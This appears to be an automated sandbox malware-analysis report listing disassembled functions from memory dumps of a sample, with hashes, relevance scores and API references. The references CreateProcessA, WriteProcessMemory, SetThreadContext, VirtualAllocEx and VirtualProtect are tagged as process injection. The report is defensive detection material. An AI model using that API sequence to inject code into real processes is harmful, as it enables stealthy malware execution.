Opcode ID: c36433d5e7a62ff5fd1e661266646bda16d7d47b76a63c3ec57cc142561885f5
Instruction ID: 3ef4a454574e88abf049aa34ac4eade8be3d1d78a661a1358ca018a4e7e2838d
Opcode Fuzzy Hash: c36433d5e7a62ff5fd1e661266646bda16d7d47b76a63c3ec57cc142561885f5
Instruction Fuzzy Hash: 60D10774E04218CFEB54DF69D884BADBBF2FB49305F1081AAD549AB294DB34AD85CF10

Function 04B3F0BF Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db13dcf25e86720db4d2a446b74a0687938cf00f680e92f5ce86a9576d414b58
Instruction ID: 2f9bd1873d669e5fc37d08c80c2a92c22312c5b9be372a30d8b6efa63caa7bf6
Opcode Fuzzy Hash: db13dcf25e86720db4d2a446b74a0687938cf00f680e92f5ce86a9576d414b58
Instruction Fuzzy Hash: F4C11974E04218CFEB54DF69D884BADBBF2FB49305F1081AAD509AB290DB34AD85CF15

Function 01191F57 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1537489490.0000000001190000.00000040.00000800.00020000.00000000.sdmp, Offset: 01190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8cf129bc8cc8e2a38d2f98356ca08bfa142b195935a64d46e34a5071a6d7a6f
Instruction ID: 28182902a4b520c44a17492b9e53ae417709f00709081644f6ea2df3fa3c0432
Opcode Fuzzy Hash: d8cf129bc8cc8e2a38d2f98356ca08bfa142b195935a64d46e34a5071a6d7a6f
Instruction Fuzzy Hash: F771BD3060020ADFDB1ECF68C540BE9B3F2FB99320F5586A0D515AB395D735AD89CB52

Function 01191F68 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1537489490.0000000001190000.00000040.00000800.00020000.00000000.sdmp, Offset: 01190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 578115351cf1a756c864b6db128bc3d1c073a180dfe9e253e75a4c5c4c7f193a
Instruction ID: 590103752a77dae3889082b548e3535dc4d7c7617436010af06a6f1c7fe93654
Opcode Fuzzy Hash: 578115351cf1a756c864b6db128bc3d1c073a180dfe9e253e75a4c5c4c7f193a
Instruction Fuzzy Hash: EB719B34A0020ADFDB1ECF58C540B99B3F2FB98320F5586A0D425AB399D735AD89CB52

Function 0119B061 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1537489490.0000000001190000.00000040.00000800.00020000.00000000.sdmp, Offset: 01190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db099dfd40cd791502abe7ece779b5741ec9c95c1e4ab03a696b8660cb840411
Instruction ID: 431f07a8975345f838cb4cd38c44b4eafc14bae45724bc01ed739fe08eb4de1c
Opcode Fuzzy Hash: db099dfd40cd791502abe7ece779b5741ec9c95c1e4ab03a696b8660cb840411
Instruction Fuzzy Hash: 79711D70E002098FD718EF6AE44468EBBF6FFC9308F54C52AD0449B269EB799446CF51

Function 0119B070 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1537489490.0000000001190000.00000040.00000800.00020000.00000000.sdmp, Offset: 01190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1d133813e1a32f2f0cef36523e46179ebfe47c54a0dbf11c551cadebf8c2c09
Instruction ID: abdf35b86b1213b9fc571303328340db2607031118a78119f8d21a3b0cad834a
Opcode Fuzzy Hash: f1d133813e1a32f2f0cef36523e46179ebfe47c54a0dbf11c551cadebf8c2c09
Instruction Fuzzy Hash: 99711C70E002098FD718EF6AE44469EBBF6FFC9308F54C52AD0449B269EB799846CF41

Function 04B30040 Relevance: 4.2, Strings: 3, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 04B30515
Hq, xrefs: 04B30594
Hq, xrefs: 04B30544

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: Hq$Hq$Hq
API String ID: 0-2505839570
Opcode ID: 1d87eaf1895b91672f87d9c1342a1eb2376bcec0064fa53132c1bfe0e3f767ba
Instruction ID: 53d4598609a03826a88be3531184ed920d0a16624d1a3b6440688d0fc3cd188b
Opcode Fuzzy Hash: 1d87eaf1895b91672f87d9c1342a1eb2376bcec0064fa53132c1bfe0e3f767ba
Instruction Fuzzy Hash: D8127D30A003058FDB24EFA6C894AAEB7B2FF88301F14856DD556AB395DB75EC46CB50

Function 04B362E0 Relevance: 4.1, Strings: 3, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 04B36461
(q, xrefs: 04B36409
(q, xrefs: 04B36435

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: (q$(q$Hq
API String ID: 0-2914423630
Opcode ID: 2d05d6ee83001d40e7421e9c36a9bc15e491d958dd5b8ceeba775c6ec8c28649
Instruction ID: db8e0496c3d699a380ac5ff53e26fb5042104fe2ba5fa2d12bf4797783327a91
Opcode Fuzzy Hash: 2d05d6ee83001d40e7421e9c36a9bc15e491d958dd5b8ceeba775c6ec8c28649
Instruction Fuzzy Hash: E6E13334A00209DFDB19DFA5D49499DBBB6FF89301F5085A9E8026B364DB34FD42CB51

Function 04B31308 Relevance: 2.9, Strings: 2, Instructions: 408
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(q, xrefs: 04B314D2
pq, xrefs: 04B3145F

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: (q$pq
API String ID: 0-316896121
Opcode ID: c142aca3e1532448436d3bfeb15b06a9c4625c84a3e84bf6a62ed4c6ce4ff59e
Instruction ID: 47fc920e2b1bef1c5654c5631996b53141a9a7e10d5389d13379b75bc748acb4
Opcode Fuzzy Hash: c142aca3e1532448436d3bfeb15b06a9c4625c84a3e84bf6a62ed4c6ce4ff59e
Instruction Fuzzy Hash: 7FD15B32A00214DFDB0ADF65C840E99BBB6FF88310B0584D8E649AB272D775ED56DF90

Function 04B30C80 Relevance: 2.8, Strings: 2, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 04B30F2C
Hq, xrefs: 04B30F94

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: Hq$Hq
API String ID: 0-925789375
Opcode ID: cd66f6b186381c619fa93c87617122ec53449033ba4cc377b44c1d82ef2d8826
Instruction ID: f969f96093c1af88c8cb729f65989fe4b5812683abd49bcd38a7f513c573764c
Opcode Fuzzy Hash: cd66f6b186381c619fa93c87617122ec53449033ba4cc377b44c1d82ef2d8826
Instruction Fuzzy Hash: C2C1BE307006159FDB04EF69C480AAEB7B6FF88314F1585A9E8059B3A5DB34FC86CB95

Function 04B37950 Relevance: 2.6, Strings: 2, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 04B379DB
(q, xrefs: 04B379AF

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: (q$Hq
API String ID: 0-1154169777
Opcode ID: 0a9250310e2e6085b83484c2ff401f936be392b15dd366598289d46614f582fb
Instruction ID: 67837b46c60301b172fc90d89f4b7a453c0ade8de83a8af3e4086e54beb37d74
Opcode Fuzzy Hash: 0a9250310e2e6085b83484c2ff401f936be392b15dd366598289d46614f582fb
Instruction Fuzzy Hash: 67317B717093005FE70AEF75D85168EBBB6EFC624071482AAE405CB362EE749D0787A6

Function 04B32BE0 Relevance: 1.9, Strings: 1, Instructions: 677
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,q, xrefs: 04B32F5B

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: ,q
API String ID: 0-196045463
Opcode ID: 2a40227e50b4b5959c529c16e7b68ee1c80fa8bd3367b51e0b0879c06e95276c
Instruction ID: 33fd57a6f9857a6df27d6a960cda56ae1eced8e9f8752e6686e0b067401fe0c5
Opcode Fuzzy Hash: 2a40227e50b4b5959c529c16e7b68ee1c80fa8bd3367b51e0b0879c06e95276c
Instruction Fuzzy Hash: DE521975A002288FDB64CF69C991BEDB7F2FB88300F1541D9E949AB351DA34AD81CF61

Function 04B18AF5 Relevance: 1.7, APIs: 1, Instructions: 205
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 04B18CDA

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f0cd3be13aba7854c49363f157c77bf87518a2f00c350d9a20ecc9ac9a0770a4
Instruction ID: 8644f7bad0dac6cad2001f07d176a4be05b4dc0e18c6cb962b1d4dbd0999ffc2
Opcode Fuzzy Hash: f0cd3be13aba7854c49363f157c77bf87518a2f00c350d9a20ecc9ac9a0770a4
Instruction Fuzzy Hash: 538168B1D002499FEB10EFA9C8817DEBBF2FF48314F548569E859A7250DB74A885CF81

Function 04B18B00 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 04B18CDA

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b672161adfe3d4cf7aff605b763c02688da91c16725b239f263b294f7ae0532c
Instruction ID: c627d0c11d34dab002c10f9d493836f6e1b07dbac757dadbb6ad6098d6977ae3
Opcode Fuzzy Hash: b672161adfe3d4cf7aff605b763c02688da91c16725b239f263b294f7ae0532c
Instruction Fuzzy Hash: A58156B1D003599FDB10EFA9C8817DEBBF2FF48310F548569E859A7260DB74A885CB81

Function 04B1931A Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 04B193B0

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3e665d6aa7b3b4fc70aa14923dbc1a0000b43be63da4c32fca1e59b112b3e8b8
Instruction ID: b1dfac3e04eea69290c7aeeb358a1ee7b3036c339ff26d7917576754308b155c
Opcode Fuzzy Hash: 3e665d6aa7b3b4fc70aa14923dbc1a0000b43be63da4c32fca1e59b112b3e8b8
Instruction Fuzzy Hash: 8A2127B5D003599FDB10CFAAD885BDEBBF1FF48310F10842AE919A7250C778A945CBA0

Function 04B19320 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 04B193B0

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9e731167708076a65a5c4ed7d1f3c60c3bea677743d6b77a27f8290073e70361
Instruction ID: 15ffb05aa75c4a0d9d8a747eb7f5bc051136f271b626a1ed97c2db44e1c87221
Opcode Fuzzy Hash: 9e731167708076a65a5c4ed7d1f3c60c3bea677743d6b77a27f8290073e70361
Instruction Fuzzy Hash: 372136B1D003499FDB10CFAAD885BDEBBF5FF48310F10842AE919A7250C778A941CBA0

Function 04B18DF8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04B18E7E

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6e090390bbb0ba5f532962dca7a90ea21573aa0754008c23c9a0394fb7d622a1
Instruction ID: 3de875d84f0497f28dda3a3f072cfc13120499bd01a708b3e3cfb66a69d4f058
Opcode Fuzzy Hash: 6e090390bbb0ba5f532962dca7a90ea21573aa0754008c23c9a0394fb7d622a1
Instruction Fuzzy Hash: 5B21E472D002498FDB20DFAAC4857AEBBF5EF88314F54842AD559A7250CB78A945CFA0

Function 04B18E00 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04B18E7E

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: bafbcbb390782cb97044b791ea5f67158c044791542e2eb851000eefaf3db262
Instruction ID: 35ccfd9e5bfbe082107e0292bfb4ddf042a951760f99874bf31a39d96ca0c1f8
Opcode Fuzzy Hash: bafbcbb390782cb97044b791ea5f67158c044791542e2eb851000eefaf3db262
Instruction Fuzzy Hash: A821F571D003098FDB10DFAAC4857AEBBF5FF88224F548429D559A7240DB78A945CFA1

Function 04B19B10 Relevance: 1.6, APIs: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B19B8C

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a87ca8c5895b1bbc86a4f060e1b703f39517a3f9cf143f02b5888ba1362ac23b
Instruction ID: a6f11af8cbda5f790ffacc654eb5abc0c5c461676d497c4bff10d550d80d4de4
Opcode Fuzzy Hash: a87ca8c5895b1bbc86a4f060e1b703f39517a3f9cf143f02b5888ba1362ac23b
Instruction Fuzzy Hash: C4213971C002498FDB10DFAAC445BEEBBF5EF48320F108429D429A7250CB78A546CFA0

Function 04B19B18 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B19B8C

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d754d5b122ef33c8c4a4d4ed6beb747e66e8977d977cbeb2ea986d45a5789204
Instruction ID: 1aa5708071c964d5d9e8519d02d5f36eff485f83111ab26d30570dd271b654cb
Opcode Fuzzy Hash: d754d5b122ef33c8c4a4d4ed6beb747e66e8977d977cbeb2ea986d45a5789204
Instruction Fuzzy Hash: 69210771D003498FDB10DFAAC445BEEBBF5EF48320F548429D419A7250CB79A941CFA1

Function 04B19218 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04B1928E

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0db77102f4cae2dfc5ac5937d79dd2ae2e4800daf0d2374b13dd506ca107bf47
Instruction ID: 1d8986321a9d994874b7785c862ef45047daa9ad29f05818c5d9ef4638f44f8a
Opcode Fuzzy Hash: 0db77102f4cae2dfc5ac5937d79dd2ae2e4800daf0d2374b13dd506ca107bf47
Instruction Fuzzy Hash: BA1117729003499FDF20DFAAD845BDEBBF5EF48320F148419D519A7250CB799541CFA1

Function 04B19220 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04B1928E

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: be6531f3c515c6935480392524fc80f519fb7e5366762c0db3203633270dcd8e
Instruction ID: 7abaf2aee6b508c248f289e1dc4f9bbe9b6cc43432c17d54c08d8524ded7ef7a
Opcode Fuzzy Hash: be6531f3c515c6935480392524fc80f519fb7e5366762c0db3203633270dcd8e
Instruction Fuzzy Hash: 951129719003489FDB20DFAAC845BDEBBF5EF48320F148419D515A7250CB79A541CFA0

Function 04B36C78 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

(q, xrefs: 04B36F2C

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: (q
API String ID: 0-2414175341
Opcode ID: c27ae08524fce32881083f5ae863cb473520ef89ffde5b430580b9a2c7149f6d
Instruction ID: 25c35aed52cff0a9c16e87a09498d1a64fbabeb76b85c50604f17a0ef80e6265
Opcode Fuzzy Hash: c27ae08524fce32881083f5ae863cb473520ef89ffde5b430580b9a2c7149f6d
Instruction Fuzzy Hash: 26A1D131704200AFD7299F69D854A6A7BB3FF89315B1481A9E1068F3B2CB35EC42DB90

Function 04B38C08 Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

(q, xrefs: 04B38E29

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: (q
API String ID: 0-2414175341
Opcode ID: 35ce3d8aa699c7f5a10bad09d5d8e704eeb18964396356f0a9307f2849a7ac9c
Instruction ID: 11e7b6decadf49de30bf4735a48ecc9116f768bfe5cb5b1503e5ed76ae0a2126
Opcode Fuzzy Hash: 35ce3d8aa699c7f5a10bad09d5d8e704eeb18964396356f0a9307f2849a7ac9c
Instruction Fuzzy Hash: 34717B34B00614DFDB04EF6AC494AADB7B6EF88705F5085A9E4029B3A4DF74BD46CB81

Function 04B312E1 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

pq, xrefs: 04B3145F

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: pq
API String ID: 0-153521182
Opcode ID: 342ccbb533e49db1ceb2d0d37aa9966ae1ed838d824ca043e21e80a3580dcec6
Instruction ID: 25ade2290036cdbe1a82012d9162a517728a3db02e312b57dc11bd5f335a15fd
Opcode Fuzzy Hash: 342ccbb533e49db1ceb2d0d37aa9966ae1ed838d824ca043e21e80a3580dcec6
Instruction Fuzzy Hash: D1410A70A003059FD715DF79C8507AEBBB6FF88340F148969C0459B751EBB8E9468BA1

Function 077F281B Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

9, xrefs: 077F285D

Memory Dump Source

Source File: 0000000A.00000002.1565069735.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_Method.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: 9c9eed91643943d78a15056ac0f190d439b073e0f8a5e08c6727933b1238055d
Instruction ID: 03a433d384a7cd835aec04c514975571f35fd8a30e675883a348e0b1936c81d9
Opcode Fuzzy Hash: 9c9eed91643943d78a15056ac0f190d439b073e0f8a5e08c6727933b1238055d
Instruction Fuzzy Hash: 4721BDB4940229CFDB649F68D995AD8B7B1FB49341F0004E6D51DA7381EB346E858F50

Function 04B35BE8 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3beed97702b17876f5df9371372f629782335dfd7ca5bc4aad2c16cf80bd7fb
Instruction ID: 1ca33ab0107dcbfc77e8f9f21a129f52b25aef78d86b18ffa7f8fa69205a44db
Opcode Fuzzy Hash: f3beed97702b17876f5df9371372f629782335dfd7ca5bc4aad2c16cf80bd7fb
Instruction Fuzzy Hash: 65120834A002188FDB24EF69C894B9DB7B2FF89305F5185A8D44AAB355EB70ED85CB40

Function 04B31D00 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b783ec6113c8c2da3643f55c4bc22ae23d04fdefd1751310053497303bdc99e
Instruction ID: bdf087b638ee44198a72b42d22b4a42fe749ad5b393e42a545ba2d436a1e2405
Opcode Fuzzy Hash: 0b783ec6113c8c2da3643f55c4bc22ae23d04fdefd1751310053497303bdc99e
Instruction Fuzzy Hash: D6F1DA35A00218DFDB08DFA9D994A9DB7B6FF88301F118598E506AB3A5DB71EC42CB50

Function 0119AD5C Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1537489490.0000000001190000.00000040.00000800.00020000.00000000.sdmp, Offset: 01190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2af250811913879214242894cebf6548fd227017094884802f4e2fbe422771b8
Instruction ID: 9348b3b3a8feb3118edce2e87a65a1e3f52d518fb996a9e2d1df4f115f7bea1b
Opcode Fuzzy Hash: 2af250811913879214242894cebf6548fd227017094884802f4e2fbe422771b8
Instruction Fuzzy Hash: EC314EB0D01209DFDB04EFA8E4487ADBBF5FF49305F1080A9C525A7281EB784A89CB56

Function 04B35BD8 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fdc979bbe1f2d7e5842f19086b21567efb52f5436124d0a7db5e17546aebd2d
Instruction ID: 103b502a27f63b5f8ac5860608a8f2a0c9f8f028a003a9a2f7c55e28d5e2e293
Opcode Fuzzy Hash: 8fdc979bbe1f2d7e5842f19086b21567efb52f5436124d0a7db5e17546aebd2d
Instruction Fuzzy Hash: 52A11734A002159FDB24DF65C894B99BBB2FF88305F5085E8E44AAB355EF70AD86CF40

Function 01191939 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1537489490.0000000001190000.00000040.00000800.00020000.00000000.sdmp, Offset: 01190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ba5545bb4f43522df7b792fdce6b5f0c75b24e24076760406049d6e7bae12be
Instruction ID: d2498a6c347ec90b73f592f4af2d3e1c666d795210c66039e492b097ac0d2e7a
Opcode Fuzzy Hash: 5ba5545bb4f43522df7b792fdce6b5f0c75b24e24076760406049d6e7bae12be
Instruction Fuzzy Hash: 0EA13734A00206EFDF19CF68D484B9DB7F2FB85320F1586A5E4229B7A5E735A8C1CB51

Function 04B31CF0 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aabe5599b9954f531478dfc41ce0e81a56e2537cff765245f7ba24b377efa0c5
Instruction ID: 82b029bf637da27ebe75908a48a1fad35b31f146735f4a7642ea37e955f67750
Opcode Fuzzy Hash: aabe5599b9954f531478dfc41ce0e81a56e2537cff765245f7ba24b377efa0c5
Instruction Fuzzy Hash: 4AA1EB34A10218DFDB08EFA9D894A9DB7B6FF88301F158599E406AB365DB70FC46CB50

Function 04B36F98 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a65bb1ace7a01b0422ce143e71bd31893bfcc60731e0ce944da6d70506723aa
Instruction ID: 520e591a6fc02459f65eb9653b0b5f1c990301dc31bc226d74283e181665d109
Opcode Fuzzy Hash: 6a65bb1ace7a01b0422ce143e71bd31893bfcc60731e0ce944da6d70506723aa
Instruction Fuzzy Hash: F1815A71710614CFDB18DF69D894A6DB7B6FF89701F1480A9E9069B3A1DB34EC42CB90

Function 04B3D149 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b62a9276e1d8ddf06699815aeeb13571a36c2656753eaebbc7314646f4576154
Instruction ID: 9df7a0c6b01bddbf328b1f4ec8f2bcc628172ac8cdda3bf8ccafb12192755911
Opcode Fuzzy Hash: b62a9276e1d8ddf06699815aeeb13571a36c2656753eaebbc7314646f4576154
Instruction Fuzzy Hash: 82912970E05218CFEB50CFAAD9447EDBBF9FB49306F1050A9E009A7291E7786989DF14

Function 04B3D158 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
